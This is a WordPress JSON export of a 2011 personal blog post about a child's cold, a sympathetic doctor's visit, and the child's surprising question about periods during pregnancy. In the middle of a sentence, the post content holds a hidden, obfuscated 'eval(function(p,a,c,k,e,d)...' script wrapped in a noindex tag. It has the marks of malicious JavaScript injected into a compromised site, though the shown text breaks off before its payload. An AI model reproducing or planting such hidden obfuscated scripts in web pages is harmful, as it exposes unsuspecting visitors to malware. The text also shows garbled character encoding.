{"id":2672,"date":"2011-10-12T14:12:21","date_gmt":"2011-10-12T21:12:21","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2672"},"modified":"2011-12-06T14:14:48","modified_gmt":"2011-12-06T21:14:48","slug":"2672","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2672","title":{"rendered":"RX:  Chicken Soup"},"content":{"rendered":"<p>Poor lil e.\u00c2\u00a0 She has a terrible cold, and coughs and coughs, and is very grouchy.\u00c2\u00a0 Myndi tried to give her cold medicine, but cold medicine is gross!\u00c2\u00a0 So gross she can\u00e2\u20ac\u2122t swallow it!\u00c2\u00a0 It makes her feel even worse and she is <em>probably <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new 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carefully before declaring that Emily had a cold and might consider taking cold medicine.\u00c2\u00a0 One can, she reminded us, always take the pill form if the liquid form is objectionable.<\/p>\n<p>I was very pleased.\u00c2\u00a0 In my own experience, doctors have generally been pretty cold and uninterested in patients as people.\u00c2\u00a0 I have generally found that going to the doctor makes me feel like a piece of meat \u00e2\u20ac\u201c worse, a piece of meat with something wrong with it.\u00c2\u00a0 But this young lady was taking Emily very seriously as a whole person, and I liked her approach.\u00c2\u00a0 Before we left, I said, \u00e2\u20ac\u0153Since you have the doctor\u00e2\u20ac\u2122s full attention, is there anything else you want to ask while we\u00e2\u20ac\u2122re here?\u00e2\u20ac\u009d<\/p>\n<p>Out of the blue:\u00c2\u00a0 \u00e2\u20ac\u0153Do you still get your period when you\u00e2\u20ac\u2122re pregnant?\u00e2\u20ac\u009d<\/p>\n<p>The poor assistant-in-training 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